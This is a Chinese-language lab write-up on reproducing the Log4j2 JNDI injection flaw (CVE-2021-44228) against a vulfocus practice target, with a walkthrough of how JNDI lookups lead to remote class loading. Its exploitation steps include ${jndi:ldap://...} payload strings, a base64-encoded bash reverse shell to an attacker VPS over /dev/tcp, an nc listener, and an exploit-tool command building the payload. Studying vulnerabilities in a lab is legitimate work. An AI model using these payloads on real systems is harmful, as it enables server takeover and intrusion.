前言
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
JNDI简单介绍
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。 JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
JNDI实现原理
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。 格式: ${jndi:rmi:192.168.96.1:1099/wqiyua}
原理概述
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中 假如日志中含有该语句${jndi:ldap:192.168.23.134:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.23.134:1099/exp 解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入 攻击者就可以通过shell实现任意的命令执行,造成严重危害。
JNDI注入原理
就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
jndi注入的利用条件
- 客户端的lookup()方法的参数可控
- 服务端在使用Reference时,classFactoryLocation参数可控
上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在jndi注入中也起着至关重要的作用,而且不同的攻击响亮对jdk的版本要求也不一致,这里就全部列出来:
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
- JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
受影响版本
Apache Log4j 2.x <= 2.14.
复现环境
centos7、docker、vulfocus靶场
1.靶场安装
docker pull vulfocus/vulfocus:latest
docker run -d -p 81:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.137.11 vulfocus/vulfocus
访问靶机ip
admin/admin进入靶场
下载log4j2镜像
docker拉取log4j2镜像
docker pull vulfocus/log4j2-rce-2021-12-09
镜像管理添加CVE-2021-44228 log4j2
启动镜像
可以看到这里的访问地址就是我们当时docker指定的VUL_IP …(然后我这里搭建出了点问题,先用了张冰辰搭建的,我也不知道我docker出了啥问题)
(运维爹紧急救援)
靶机首页如上,点击链接传一个payload参数
工具准备
构建一个JNDI服务
Github: https://github.com/welk1n/JNDI-Injection-Exploit
由于张大佬的靶场是在公网服务器搭建的,所以我需要把工具传到我的公网vps,在那里攻击和接收反弹shell
安装java、maven环境
yum install maven
编译一下
mvn clean package -DskipTests
编译好的文件在target目录下
后面就是攻击过程了
利用过程
第一次尝试
dnslog.cn去获取一个域名做测试
${jndi:ldap://8mfg14.dnslog.cn/pocpoc}
记得做url编码
提交
dnslog中refresh得到回显,存在漏洞
攻击机运行JNDI服务,我这里只有centos7的公网vps,就用它了
nc监听9999端口
nc -lvvp 9999
bash -c 'exec bash -i &>/dev/tcp/vps_ip/9999 <&1'
将其base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNfaXAvOTk5OSAwPiYx
用JNDI注入工具生成payload
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNfaXAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "vps_ip"
构造payload
${jndi:ldap://vps_ip:1389/x75gzj}
2022/09/22注:到这个地方寄了,可能是当时端口没有开放,我今天重新做的时候发现宝塔也有防火墙规则,光在腾讯云放行端口不管用。。。
第二次尝试
2022/09/22补充尝试,使用环境为https://vulfocus.cn/
这个使用X-Api-Version的环境
启动后访问结果如下
burp抓包,添加请求头,X-Api-Version设置payload, cmd设置注入命令
X-Api-Version:${jndi:ldap://43.138.100.37:1389/TomcatBypass/TomcatEcho}
cmd:ls /tmp
Content-Type:application/x-www-form-urlencoded
可以看到flag
弹shell,nc起一个9999监听
nc弹shell
搞定。